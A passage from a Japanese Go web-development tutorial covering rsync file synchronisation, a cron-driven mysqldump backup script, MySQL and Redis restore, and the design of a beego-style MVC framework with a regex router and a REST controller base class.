多くのクラスタ環境において、Webアプリケーションプログラムは基本的にバックアップをとる必要はありません。なぜならこれは単なるコードのコピーでしかないからです。ローカルの開発環境またはバージョンコントロールシステムにおいてすでにこれらのコードを保持しています。しかし多くの場合、いくつかの開発サイトにおいてはユーザがファイルをアップロードする必要があり、これらのユーザがアップロードしたファイルに対してバックアップを行う必要があります。現在理にかなった方法はウェブサイトに関係する保存されるべきファイルをクラウドストレージ上に保存するというものです。このようにすることでシステムが崩壊しても、クラウドストレージ上にありさえすれば、データが失われることはありません。

もしクラウドストレージを採用していなかった場合、どのようにしてウェブサイトのバックアップを行うのでしょうか？ここではファイルの同期ツールであるrsyncをご紹介します：rsyncはウェブサイトのコピーを行うことができ、異なるシステムのファイルを同期することができます。もしwindowsであれば、windows版のcwrsyncが必要です。

rsyncのインストール

rsyncのオフィシャルサイト：http://rsync.samba.org/ において最新版のソースコードを取得できます。当然、rsyncはとても使い勝手のよいソフトウェアですので、多くのLinuxのディストリビューションにおいてその中に収録されています。

ソフトウェアパッケージのインストール

# sudo apt-get  install  rsync  注：debian、ubuntu 等のライブインストール方法；
# yum install rsync    注：Fedora、Redhat、CentOS 等のライブインストール方法；
# rpm -ivh rsync       注：Fedora、Redhat、CentOS 等rpmパッケージによるインストール方法；

その他のLinuxディストリビューションでは、対応するソフトウェアパッケージ管理方法によってインストールしてください。ソースコードパッケージのインストールは

tar xvf  rsync-xxx.tar.gz
cd rsync-xxx
./configure --prefix=/usr  ;make ;make install   注：ソースコードパッケージをコンパイルしてインストールする前にgccといったコンパイルツールをインストールしておく必要があります；

rsyncの設定

rsyncは主に以下の3つの設定ファイルrsyncd.conf(メインの設定ファイル)、rsyncd.secrets(パスワードファイル)、rsyncd.motd(rsyncサーバの情報)があります。

これらのファイルの設定に関してはみなさんはオフィシャルサイトやその他のrsyncを紹介しているサイトを参考にしていただけます。以下ではサーバサイドとクライアントサイドがどのようにして起動するかご紹介します。

サーバサイドの起動：

#/usr/bin/rsync --daemon  --config=/etc/rsyncd.conf

–daemonオプション方式は、rsyncをサーバモードで実行します。rsyncを起動時に起動するには

echo 'rsync --daemon' >> /etc/rc.d/rc.local

rsyncのパスワードを設定

echo 'ユーザ名:パスワード' > /etc/rsyncd.secrets
chmod 600 /etc/rsyncd.secrets

クライアントサイドの同期：

クライアントサイドは以下のコマンドによってサーバ上のファイルと同期することができます：

rsync -avzP  --delete  --password-file=rsyncd.secrets   ユーザ名@192.168.145.5::www /var/rsync/backup

このコマンドの幾つかの要点を以下に簡単に説明します：

-avzPとは何か、読者は–helpを使って調べることができます。

–delete はAにおいてファイルを削除すると、同期の際にBは自動的に対応するファイルを削除します。

–password-file クライアントサイドの/etc/rsyncd.secretsで設定されたパスワードで、サーバサイドの /etc/rsyncd.secrets の中のパスワードと一致させる必要があります。このようにcronを実行した場合、パスワードを入力する必要がありません。

このコマンドの中の“ユーザ名”はサーバサイドの /etc/rsyncd.secretsの中のユーザ名です。

このコマンドの中の 192.168.145.5 はサーバのIPアドレスです。

::www、二つのコロンマークに注意してください。wwwはサーバの設定ファイル /etc/rsyncd.conf にある[www]です。意味はサーバ上の/etc/rsyncd.confに従ってその中の[www]フィールドの内容を同期します。一つのコロンマークの時は設定ファイルに従わず、直接指定したディレクトリを同期します。

同期にリアルタイム性を持たせるため、crontabを設定しrsyncを分毎に同期させてもかまいません。当然ユーザはファイルの重要性によって異なる同期頻度を設定することもできます。

MySQLのバックアップ

アプリケーションのデータベースは現在やはりMySQLが主流です。現在MySQLのバックアップには二種類の方法があります：ホットスタンドバイとコールドスタンドバイです。ホットスタンドバイは現在主にmaster/slave方式をとっています(master/slave方式の同期は現在データベースの読み込みと書き込みを分離しています。ホットスタンドバイでも使用することができます)。どのようにこの方面の資料を設定するのかについては、いくつも検索することができます。コールドスタンドバイの場合、データベースには一定のち円が存在します。しかし、この時間の前のデータを完璧に保証することができます。例えば、誤操作がデータの喪失を引き起こしてしまったような場合、master/slaveモードでは失われたデータを取り戻すことはできません。しかし、コールドスタンドバイではデータの一部を復元することができます。

コールドスタンドバイは一般的にshellスクリプトを使用して時間毎にデータベースのバックアップをとることになります。上で紹介したrsyncによってローカルでないデータセンターのサーバの一つに同期します。

以下はmysqlのバックアップを定期的に行うスクリプトです。mysqldumpプログラムを使用しており、このコマンドはデータベースを一つのファイルにエクスポートします。

#!/bin/bash

# 以下の設定情報はご自分で修正してください。
mysql_user="USER" #MySQLバックアップユーザ
mysql_password="PASSWORD" #MySQLバックアップユーザのパスワード
mysql_host="localhost"
mysql_port="3306"
mysql_charset="utf8" #MySQLの文字エンコード
backup_db_arr=("db1" "db2") #バックアップするデータベースの名前、複数の場合は空白によって分けます。例えば("db1" "db2" "db3")
backup_location=/var/www/mysql  #バックアップされたデータの保存場所、末尾に"/"を含めないようにしてください。この項目はデフォルトのままでもかまいません。プログラムは自動的にディレクトリを作成します。
expire_backup_delete="ON" #期限の切れたバックアップの削除するかどうか。ONで起動、OFFで停止
expire_days=3 #期限の日数。デフォルトは3日、この項目はexpire_backup_deleteを起動した時のみ有効です。

# この行以降は修正する必要はありません。
backup_time=`date +%Y%m%d%H%M`  #バックアップの詳細な時間を定義
backup_Ymd=`date +%Y-%m-%d` #バックアップのディレクトリの年月日を定義
backup_3ago=`date -d '3 days ago' +%Y-%m-%d` #3日前の日時
backup_dir=$backup_location/$backup_Ymd  #バックアップディレクトリの絶対パス
welcome_msg="Welcome to use MySQL backup tools!" #ウェルカムメッセージ

# MYSQLが起動しているか判断します。mysqlが起動していなければバックアップから抜けます。
mysql_ps=`ps -ef |grep mysql |wc -l`
mysql_listen=`netstat -an |grep LISTEN |grep $mysql_port|wc -l`
if [ [$mysql_ps == 0] -o [$mysql_listen == 0] ]; then
        echo "ERROR:MySQL is not running! backup stop!"
        exit
else
        echo $welcome_msg
fi

# mysqlデータベースに接続します。接続できなければバックアップから抜けます。
mysql -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password <<end
use mysql;
select host,user from user where user='root' and host='localhost';
exit
end

flag=`echo $?`
if [ $flag != "0" ]; then
        echo "ERROR:Can't connect mysql server! backup stop!"
        exit
else
        echo "MySQL connect ok! Please wait......"
        # バックアップのデータベースが定義されているか判断します。定義されていればバックアップを開始し、そうでなければバックアップから抜けます。
        if [ "$backup_db_arr" != "" ];then
                #dbnames=$(cut -d ',' -f1-5 $backup_database)
                #echo "arr is (${backup_db_arr[@]})"
                for dbname in ${backup_db_arr[@]}
                do
                        echo "database $dbname backup start..."
                        `mkdir -p $backup_dir`
                        `mysqldump -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password $dbname --default-character-set=$mysql_charset | gzip > $backup_dir/$dbname-$backup_time.sql.gz`
                        flag=`echo $?`
                        if [ $flag == "0" ];then
                                echo "database $dbname success backup to $backup_dir/$dbname-$backup_time.sql.gz"
                        else
                                echo "database $dbname backup fail!"
                        fi

                done
        else
                echo "ERROR:No database to backup! backup stop"
                exit
        fi
        # 期限切れのバックアップを削除するよう設定されていれば、削除操作を実行します。
        if [ "$expire_backup_delete" == "ON" -a  "$backup_location" != "" ];then
                 #`find $backup_location/ -type d -o -type f -ctime +$expire_days -exec rm -rf {} \;`
                 `find $backup_location/ -type d -mtime +$expire_days | xargs rm -rf`
                 echo "Expired backup data delete complete!"
        fi
        echo "All database backup success! Thank you!"
        exit
fi

shellスクリプトの属性を修正します：

chmod 600 /root/mysql_backup.sh
chmod +x /root/mysql_backup.sh

属性を設定すると、コマンドをcrontabに追加します。私達は毎日00:00に定時で自動バックアップを行うよう設定しましたので、バックアップスクリプトのディレクトリ/var/www/mysqlをrsyncの同期ディレクトリに設定します。

00 00 * * * /root/mysql_backup.sh

MySQLのリストア

MySQLのバックアップにはホットスタンドバイとコールドスタンドバイがあるとご説明しました。ホットスタンドバイは主にリアルタイムのリストあを実現するために用いられます。例えば、アプリケーションサーバにおいてハードディスクの故障が発生した場合、設定ファイルを修正することでデータベースの読み込みと書き込みをslaveに移すことでサービスの中断をなるべく少ない時間に抑えることができます。

しかし時にはコールドスタンドバイによるバックアップのSQLからデータを復元する必要があります。データベースのバックアップがあるので、コマンドによってインポートすることができます。

mysql -u username -p databse < backup.sql

データベースのデータをエクスポートまたはインポートするのはかなり簡単でしょう。しかしパーミッションや、文字エンコードの設定も管理する必要がある場合、すこし複雑になるかもしれません。しかしこれらはどれもコマンドによって完了することができます。

redisのバックアップ

redisは現在我々が最もよく使っているNoSQLです。このバックアップにも二種類があります：ホットスタンドバイとコールドスタンドバイです。redisもmaster/slaveモードをサポートしています。ですので、我々のホットバックアップはこの方法によって実現することができます。対応する設定についてはみなさんオフィシャルのドキュメントにある設定をご参考ください。とても簡単です。ここではコールドスタンドバイについてご紹介します。redisは実はメモリ内のキャッシュデータをデータベースファイルの中に定期的に書き込んでいます。我々のバックアップではただ対応するファイルをコピーするだけで十分です。つまり、前にご紹介したrsyncによってローカルでないデータセンターにコピーを行うだけで実現します。

redisのリストア

redisのリストアはホットバックアップとコールドバックアップに分けられます。ホットバックアップの目的と方法はMySQLのリストアと同じです。アプリケーションで対応するデータベースに接続するだけでかまいません。

しかし時にはコールドバックアップによってデータをリストアする必要もあります。redisのコールドバックアップは実は保存されたデータベースファイルをredisのワーキングディレクトリにコピーするだけです。その後redisを起動すればOKです。redisは起動している間自動的にデータベースファイルをメモリにロードします。起動の速度はデータベースのファイルの大小によって決定します。

まとめ

この節ではアプリケーションのバックアップとリストアについてご紹介しました。ファイルのバックアップからデータベースのバックアップまで、どのように災害に対応するかです。また、rsyncを使った異なるシステムでのファイルの同期についてもご紹介しました。MySQLデータベースとredisデータベースのバックアップとリストアです。この節の紹介を通して開発された本番プロダクトの障害に対するひとつの参考になれば幸いです。

Generated by md2min

12.5 まとめ

この章ではどのようにして我々の開発したWebアプリケーションのデプロイとメンテナンスを行うかについていくつかのトピックを討論しました。これらの内容は非常に重要で、メンテナンスを最小化し、アプリケーションの円滑な運用を行うためにはかならずこれらの問題を考慮する必要があります。

この章で討論した内容は具体的には：

強靭なログシステムを作成し、問題が発生した際にエラーを記録してシステム管理者に通知を行うことができます。

実行時に発生しうるエラーの処理。ログへの記録を含み、システムが発生させた問題についてユーザフレンドリーな表示をどのようにユーザに行うか。

404エラーの処理。ユーザがリクエストしたページが見つからないことを示します。

アプリケーションを生産環境の中にデプロイする。(どのようにしてデプロイを更新するかを含みます)

デプロイしたアプリケーションの可用性を高めるにはどうすればよいか。

ファイル及びデータベースのバックアップとリストア

この章を読み終わると、スクラッチで一つのWebアプリケーションを開発するのに対してどのような問題を考慮しなければならないのか、あなたは既に全面的な理解が得られたはずです。この章の内容は実際の環境において前の各章でご紹介した開発コードを管理するのに役立ちます。

Generated by md2min

13 どのようにしてWebフレームワークを設計するか

目次

前の12章ではGoを使ってどのようにWebアプリケーションを開発するかについてご紹介しました。多くの基礎的な知識、開発ツールおよび開発テクニックをご紹介したので、この章ではこれらの知識を通じて簡単なWebフレームワークを実装してみましょう。Go言語を通じて完全なフレームワークを設計します。このフレームワークでは主に第1章でご紹介したWebフレームワークの構造ルールを含みます。例えば、MVCモードを採用して開発を行う場合の、プログラムの実行プロセス設計といった内容；第2章でご紹介したフレームワークの１つ目の機能：ルーティング、どのようにしてアクセスされたURLを対応する処理ロジックに投影するか；第3章でご紹介した処理ロジック、どのようにパブリックなcontrollerを設計するか、オブジェクトを継承した後処理関数にてどのようにresponseとrequestを処理するか；第4章ではフレームワークの一部の補助機能をご紹介しました。例えばログ処理、設定情報などです；第5章ではWebフレームワークに基いてどのようにブログを実装するかについてご紹介しました。これにはブログの投稿、修正、削除、リストの表示といった操作を含みます。

この完全な項目の例を通じて、読者におかれましてはどのようにWebアプリケーションを開発するか、どのように自分のディレクトリ構造を作成するか、どのようにルーティングを実装するか、どのようにMVCモードといった各方面の開発コンテンツを実装するかご理解いただけたものと期待しております。フレームワークが盛り上がりを見せる昨今、MVCはもはや神話ではありません。プログラマがどのフレームワークが良いか、どれがダメかと討論しているのを多く見かけるようになりました。フレームワークはツールにすぎません。本来良いも悪いもないのです。そこにはただ適切か不適切かのみが存在します。自分に合えばそれが最良ですので、みなさんに自分の手でフレームワークを書くことをお教えできれば、異なった需要に対しても自分の思考に合わせて実装することができるようになります。

目次

Generated by md2min

13.1 プロジェクトのプラン

gopath及びプロジェクトの設定

アプリケーションプログラムのプロセス図

ディレクトリ構造

フレームワーク設計

まとめ

何をするにしてもプランを作成することは大切です。我々がブログシステムを開発する前にも、プロジェクトのプランを作ることは同じように重要です。ディレクトリ構造をどのように設定するか、プロジェクト全体のプロセス図をどのように理解するか、アプリケーションの実行プロセスを我々が理解した時、以降のコーディングの設計についても相対的に容易になるはずです。

gopath及びプロジェクトの設定

指定したgopathがファイルシステムの普通のディレクトリ名だったとしましょう。当然、自由に一つのディレクトリ名を設定することができます。次にこのパスをGOPATHに追加します。GOPATHは複数のディレクトリを含んでもよいと前にご紹介しました：windowシステムでは環境変数を設定します；linux/MacOSシステムではターミナルにexport gopath=/home/astaxie/gopathコマンドを入力するだけです。しかし、gopathというソースディレクトリには３つのディレクトリpkg、bin、srcがあることを保証しなければなりません。作成した新しいプロジェクトのソースコードはsrcディレクトリの下に置きます。現在暫定的に我々のブログディレクトリをbeeblogと呼ぶことにしましょう。下はwindow下での環境変数とディレクトリ構造のスクリーンショットです：

図13.1 環境変数GOPATHの設定

図13.2 ワーキングディレクトリは$gopath/srcの下にあります

アプリケーションプログラムのプロセス図

ブログシステムはモデル-ビュー-コントローラという設計モードにもとづいています。MVCはアプリケーションプログラムのロジック層とプレゼンテーション層を分離する構造方式です。実践の中で、プレゼンテーション層からGoの中で分離されているので、あなたのウェブページにはほんの少しのスクリプトを含めるだけでかまいません。

モデル（Model）はデータ構造を表します。通常ではモデルクラスはデータベースのデータを取り出し、挿入し、更新するといった機能を含みます。

ビュー（View）はユーザの情報を表示する構造およびスタイルです。ひとつのビューは通常一つのウェブページとなります。しかし、Goにおいては、一つのビューはページのいち部分であってもかまいません。例えば、ヘッダ、フッタ等です。これはRSSページや他の種類の“ページ”であってもかまいません。Goが実装するtemplateパッケージはすでに非常によくView層での一部の機能を実現しています。

コントローラ（Controller）はモデル、ビュー及びその他の任意のHTTPリクエストが必要としているリソース間の仲介を処理し、ウェブページを生成します。

下の図はプロジェクトの設計においてフレームワークのデータのがどのようにシステム全体を流れているか表しています:

図13.3 フレームワークのデータフロー

main.goはアプリケーションの入り口です。ブログを実行する上で必要となる基本的なリソースを初期化し、情報を設定し、ポートを監視します。

ルーティング機能はHTTPリクエストを検査し、URLおよびmethodによって誰(コントローラ層)がリクエストのリソースへのリダイレクトを処理するかを決定します。

もしキャッシュファイルが存在した場合、通常のプロセスを迂回して実行し、ブラウザに直接送信されます。

セキュリティチェック：アプリケーションプログラムのコントローラがコールされる前にHTTPリクエストと任意のユーザが送信したデータがフィルタにかけられます。

コントローラがモデル、コアライブラリ、補助関数および特定のリクエストに必要となるその他のリソースにおける任意の処理をロードします。コントローラは主に業務ロジックの処理に責任を負います。

ビュー層において出力された内容はWebブラウザのコンテンツに送信されます。もしキャッシュが起動されていた場合、ビューはまずキャッシュされ、以降の通常のリクエストにおいて利用されます。

ディレクトリ構造

上のアプリケーションプログラムのプロセス設計にもとづいて、ブログのディレクトリ構造の設計は以下のようになります：

|——main.go         入り口ファイル
|——conf            設定ファイルと処理モジュール
|——controllers     コントローラの入り口
|——models          データベースの処理モジュール
|——utils           補助関数ライブラリ
|——static          静的ファイルディレクトリ
|——views           ビューライブラリ

フレームワーク設計

ブログの迅速な作成を実現するため、上のプロセス設計に従って最小化されたフレームワークを開発します。フレームワークにはルーティング機能、RESTをサポートしたコントローラ、自動化とテンプレートの適用、ログシステム、設定管理等が含まれます。

まとめ

この節ではブログシステムにおいてGOPATHを設定するところからディレクトリの作成といった基礎情報までをご紹介しました。フレームワークの構造がMVCモードを採用することや、ブログシステムのデータフローの実行プロセスについても簡単にご紹介しました。最後にこれらのプロセスを通じてブログシステムのディレクトリ構造を設計しました。ここまでで、フレームワークの基本的な作成が完了しました。以降のいくつかの節ではひとつひとつ実装していきます。

Generated by md2min

13.2 カスタム定義のルータの設計

HTTPルーティング

デフォルトルーティングの実装

beegoフレームワークのルーティングの実装

ルーティングの保存

スタティックルーティングの実装

リダイレクトルーティング

事始め

HTTPルーティング

HTTPルーティングのセットアップはHTTPリクエストが対応する関数の処理(またはstructの方法)に送信されることを担当します。例えば前の節においてご紹介した構造図では、ルーティングはフレームワークにおいてイベントプロセッサに相当します。このイベントは以下を含みます：

ユーザリクエストのパス(path)(例えば:/user/123,/article/123)、当然文字列情報も検索します(例えば?id=11)

HTTPのリクエストメソッド(method)(GET、POST、PUT、DELETE、PATCH等)

ルータはユーザがリクエストしたイベント情報に基づいて対応する処理関数(コントロールレイヤ)にリダイレクトします。

デフォルトルーティングの実装

3.4節でGoのhttpパッケージの詳細の中でGoのhttpパッケージがどのように設計されルーティングを実装しているかをご紹介しました。ここではもうひとつ例を挙げてご説明しましょう：

func fooHandler(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
}

http.Handle("/foo", fooHandler)

http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
})

log.Fatal(http.ListenAndServe(":8080", nil))

上の例ではhttpのデフォルトであるDefaultServeMuxをコールしてルーティングを追加しています。２つの引数を渡すことでユーザがアクセスするリソースを提供します。１つ目の引数はユーザがこのリソースにアクセスするであろうURLパス(r.URL.Pathに保存されます)、２つ目の引数は次に実行される関数です。ルーティングの考え方は次の二点に集約されます：

ルーティング情報の追加

ユーザのリクエストを実行される関数にリダイレクトする

Goのデフォルトのルーティングは関数http.Handleとhttp.HandleFuncによって追加され、どちらも深いレイヤでDefaultServeMux.Handle(pattern string, handler Handler)をコールしています。この関数はルーティング情報をmap情報map[string]muxEntity`に保存することで上の１つ目を解決します。

Goはポートを監視し、tcp接続を受け付けるとHandlerに処理を投げます。上の例ではデフォルトのnilはhttp.DefaultServeMuxです。DefaultServeMux.ServeHTTP関数によってディスパッチを行います。事前に保存しておいたmapルーティング情報を、ユーザがアクセスするURLにマッチングすることで、対応する登録された処理関数を探し出します。このように上の二点目を実装します。

for k, v := range mux.m {
    if !pathMatch(k, path) {
        continue
    }
    if h == nil || len(k) > n {
        n = len(k)
        h = v.h
    }
}

beegoフレームワークのルーティングの実装

現在ほとんどすべてのWebアプリケーションのルーティングはすべてhttpのデフォルトのルータに基いて実装されています。しかし、Goにはじめから備わっているルータにはいくつかの制限があります：

パラメータ設定をサポートしない。例えば/user/:uid といったマッチング等です。

RESTモードをあまりよくサポートしていません。アクセスを制限する方法がありません。例えば上の例で言えば、ユーザによる/fooへのアクセスに、GET、POST、DELETE、HEADといったメソッドでアクセスすることです。

一般的にウェブサイトのルーティングルールは多すぎて、書くのが大変です。以前私はあるAPIアプリケーションを開発したことがあるのですが、ルーティングルールは30数個ありました。このようなルーティングの多さは実は簡素化することができます。structの方法を通して簡素化することが可能です。

beegoフレームワークのルータは上のいくつかの制限を考慮して設計されたRESTメソッドのルーティングを実装しています。ルーティングの設計も上のGoデフォルトの設計の二点を考慮しています：すなわち、ルーティングの保存とルーティングのリダイレクトです。

ルーティングの保存

ここでお話した制限に対して、我々はまずパラメータのサポートに正規表現を使えるよう解決する必要があります。2点目と3点目については柔軟な方法によって解決します。RESTの方法をstructの方法に組み込んでしまうのです。その後関数ではなくstructにルーティングすることで、ルーティングをリダイレクトする際methodに従って異なるメソッドを実行することができるようになります。

上の考え方で、我々は２つのデータ型controllerInfo(パスと対応するstructを保存する。ここではreflect.Type型)とControllerRegistor(routersはsliceを使ってユーザが追加したルーティング情報を保存する)を設計しました。

type controllerInfo struct {
    regex          *regexp.Regexp
    params         map[int]string
    controllerType reflect.Type
}

type ControllerRegistor struct {
    routers     []*controllerInfo
    Application *App
}

ControllerRegistorの外側のインターフェース関数には以下があります。

func (p *ControllerRegistor) Add(pattern string, c ControllerInterface)

細かい実装は以下に示します：

func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) {
    parts := strings.Split(pattern, "/")

    j := 0
    params := make(map[int]string)
    for i, part := range parts {
        if strings.HasPrefix(part, ":") {
            expr := "([^/]+)"

            //a user may choose to override the defult expression
            // similar to expressjs: ‘/user/:id([0-9]+)’

            if index := strings.Index(part, "("); index != -1 {
                expr = part[index:]
                part = part[:index]
            }
            params[j] = part
            parts[i] = expr
            j++
        }
    }

    //recreate the url pattern, with parameters replaced
    //by regular expressions. then compile the regex

    pattern = strings.Join(parts, "/")
    regex, regexErr := regexp.Compile(pattern)
    if regexErr != nil {

        //TODO add error handling here to avoid panic
        panic(regexErr)
        return
    }

    //now create the Route
    t := reflect.Indirect(reflect.ValueOf(c)).Type()
    route := &controllerInfo{}
    route.regex = regex
    route.params = params
    route.controllerType = t

    p.routers = append(p.routers, route)

}

スタティックルーティングの実装

上では動的なルーティングの実装を行いました。Goのhttpパッケージはデフォルトで静的なファイルを処理するFileServerをサポートしています。自分で定義したルータを実装したわけですから、静的なファイルも自分たちで設定しなければなりません。beegoの静的ディレクトリパスはグローバル変数StaticDirに保存されています。StaticDirはmap型で、以下のように実装されています：

func (app *App) SetStaticPath(url string, path string) *App {
    StaticDir[url] = path
    return app
}

アプリケーションにおいて静的なルーティングを設定するには以下の方法で行います：

beego.SetStaticPath("/img","/static/img")

リダイレクトルーティング

リダイレクトルーティングはControllerRegistorの中のルーティング情報に基づいてリダイレクトが行われます。細かい実装は以下のコードに示します：

// AutoRoute
func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    defer func() {
        if err := recover(); err != nil {
            if !RecoverPanic {
                // go back to panic
                panic(err)
            } else {
                Critical("Handler crashed with error", err)
                for i := 1; ; i += 1 {
                    _, file, line, ok := runtime.Caller(i)
                    if !ok {
                        break
                    }
                    Critical(file, line)
                }
            }
        }
    }()
    var started bool
    for prefix, staticDir := range StaticDir {
        if strings.HasPrefix(r.URL.Path, prefix) {
            file := staticDir + r.URL.Path[len(prefix):]
            http.ServeFile(w, r, file)
            started = true
            return
        }
    }
    requestPath := r.URL.Path

    //find a matching Route
    for _, route := range p.routers {

        //check if Route pattern matches url
        if !route.regex.MatchString(requestPath) {
            continue
        }

        //get submatches (params)
        matches := route.regex.FindStringSubmatch(requestPath)

        //double check that the Route matches the URL pattern.
        if len(matches[0]) != len(requestPath) {
            continue
        }

        params := make(map[string]string)
        if len(route.params) > 0 {
            //add url parameters to the query param map
            values := r.URL.Query()
            for i, match := range matches[1:] {
                values.Add(route.params[i], match)
                params[route.params[i]] = match
            }

            //reassemble query params and add to RawQuery
            r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery
            //r.URL.RawQuery = url.Values(values).Encode()
        }
        //Invoke the request handler
        vc := reflect.New(route.controllerType)
        init := vc.MethodByName("Init")
        in := make([]reflect.Value, 2)
        ct := &Context{ResponseWriter: w, Request: r, Params: params}
        in[0] = reflect.ValueOf(ct)
        in[1] = reflect.ValueOf(route.controllerType.Name())
        init.Call(in)
        in = make([]reflect.Value, 0)
        method := vc.MethodByName("Prepare")
        method.Call(in)
        if r.Method == "GET" {
            method = vc.MethodByName("Get")
            method.Call(in)
        } else if r.Method == "POST" {
            method = vc.MethodByName("Post")
            method.Call(in)
        } else if r.Method == "HEAD" {
            method = vc.MethodByName("Head")
            method.Call(in)
        } else if r.Method == "DELETE" {
            method = vc.MethodByName("Delete")
            method.Call(in)
        } else if r.Method == "PUT" {
            method = vc.MethodByName("Put")
            method.Call(in)
        } else if r.Method == "PATCH" {
            method = vc.MethodByName("Patch")
            method.Call(in)
        } else if r.Method == "OPTIONS" {
            method = vc.MethodByName("Options")
            method.Call(in)
        }
        if AutoRender {
            method = vc.MethodByName("Render")
            method.Call(in)
        }
        method = vc.MethodByName("Finish")
        method.Call(in)
        started = true
        break
    }

    //if no matches to url, throw a not found exception
    if started == false {
        http.NotFound(w, r)
    }
}

事始め

このようなルーティング設計に基いていると、前に説明した３つの制限をクリアできます。使い方は以下に示します：

基本的なルーティング登録の使用：

beego.BeeApp.RegisterController("/", &controllers.MainController{})

オプションの登録：

beego.BeeApp.RegisterController("/:param", &controllers.UserController{})

正規表現マッチング：

beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{})

Generated by md2min

13.3 controller設計

controllerの作用

beegoのREST設計

応用

伝統的なMVCフレームワークにおいて、多くの場合Action設計のサフィックス反映にもとづいています、しかしながら、現在webではREST風のフレームワークが流行しています。なるべくFilterかrewriteを使用してURLのリライトを行い、REST風のURLを実現しています。しかしなぜ直接新しくREST風のMVCフレームワークを設計しないのでしょうか？本章ではこういった考え方に基いてどのようにREST風のMVCフレームワークにフルスクラッチでcontroller、最大限に簡素化されたWebアプリケーションの開発、ひいては一行で可能な“Hello, world”の実装についてご説明します。

controllerの作用

MVC設計は現在Webアプリケーションの開発において最もよく見かけるフレームワーク設計です。Model（モデル）、View（ビュー）およびController（コントローラ）を分離することで、拡張しやすいユーザーインターフェース(UI)を簡単に実装することができます。Modelとはバックエンドが返すデータの事を指します。Viewは表示されるページのことで、通常はテンプレートページになっています。テンプレートを適用したコンテンツは通常HTMLです。ControllerとはWebデベロッパがコーディングする異なるURLの処理によるコントローラです。前の節ではURLリクエストをコントローラにリダイレクトする過程となるルータをご紹介しました。controllerはMVCフレームワーク全体のコアとなる作用を持っています。サービスロジックの処理を担当するため、コントローラはフレームワークに必要不可欠となります。ModelとViewはサービスによっては書く必要はありません、例えばデータ処理の無いロジック処理、ページを出力しない302調整といったものはModelとViewを必要としません。しかし、Controllerは必ず必要となります。

beegoのREST設計

前の節ではルータにstructを登録する機能を実装しました。また、structではRESTメソッドを実装しています。そのため、ロジック処理に用いられるcontrollerの基底クラスを設計する必要があります。ひとつはstructで、もうひとつはinterfaceです。

type Controller struct {
    Ct        *Context
    Tpl       *template.Template
    Data      map[interface{}]interface{}
    ChildName string
    TplNames  string
    Layout    []string
    TplExt    string
}

type ControllerInterface interface {
    Init(ct *Context, cn string)    //コンテキストとサブクラスの名前を初期化
    Prepare()                       //実行前のいくつかの処理を開始
    Get()                           //method=GETの処理
    Post()                          //method=POSTの処理
    Delete()                        //method=DELETEの処理
    Put()                           //method=PUTの処理
    Head()                          //method=HEADの処理
    Patch()                         //method=PATCHの処理
    Options()                       //method=OPTIONSの処理
    Finish()                        //実行完了後の処理
    Render() error                  //methodが対応する方法を実行し終えた後、ページを構築
}

前にadd関数へのルータをご紹介した際ControllerInterfaceクラスを定義しました。ですので、ここではこのインターフェースを実装すれば十分です。基底クラスのContorollerの実装は以下のようなメソッドになります：

func (c *Controller) Init(ct *Context, cn string) {
    c.Data = make(map[interface{}]interface{})
    c.Layout = make([]string, 0)
    c.TplNames = ""
    c.ChildName = cn
    c.Ct = ct
    c.TplExt = "tpl"
}

func (c *Controller) Prepare() {

}

func (c *Controller) Finish() {

}

func (c *Controller) Get() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Post() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Delete() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Put() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Head() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Patch() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Options() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Render() error {
    if len(c.Layout) > 0 {
        var filenames []string
        for _, file := range c.Layout {
            filenames = append(filenames, path.Join(ViewsPath, file))
        }
        t, err := template.ParseFiles(filenames...)
        if err != nil {
            Trace("template ParseFiles err:", err)
        }
        err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data)
        if err != nil {
            Trace("template Execute err:", err)
        }
    } else {
        if c.TplNames == "" {
            c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt
        }
        t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames))
        if err != nil {
            Trace("template ParseFiles err:", err)
        }
        err = t.Execute(c.Ct.ResponseWriter, c.Data)
        if err != nil {
            Trace("template Execute err:", err)
        }
    }
    return nil
}

func (c *Controller) Redirect(url string, code int) {
    c.Ct.Redirect(code, url)
}

上のcontroller基底クラスはインターフェースが定義する関数を実装しています。urlにもとづいてルータが対応するcontrollerを実行する原則に従って、以下のように実行されます：

Init()      初期化
Prepare()   この初期化を実行することで、継承されたサブクラスはこの関数を実装することができます。
method()    異なるmethodに従って異なる関数を実行します：GET、POST、PUT、HEAD等、サブクラスによってこれらの関数を実装します。もし実装されていなければどれもデフォルトで403となります。
Render()    オプション。グローバル変数AutoRenderによって実行するか否かを判断します。
Finish()    実行後に実行される操作。各サブクラスはこの関数を実装することができます。

応用

上ではbeegoフレームワークにおいてcontroller基底クラスの設計を完成させました。我々のアプリケーションでは我々のメソッドを以下のように設計することができます：

package controllers

import (
    "github.com/astaxie/beego"
)

type MainController struct {
    beego.Controller
}

func (this *MainController) Get() {
    this.Data["Username"] = "astaxie"
    this.Data["Email"] = "astaxie@gmail.com"
    this.TplNames = "index.tpl"
}

上のメソッドではサブクラスMainControllerを実装し、Getメソッドを実装しています。もしユーザがその他のメソッド(POST/HEAD等)によってこのリソースにアクセスすると、403を返します。もしGetであれば、AutoRender=trueを設定していますのでGetメソッドの実行後自動的にRender関数が実行され、以下のようなインターフェースが表示されます：

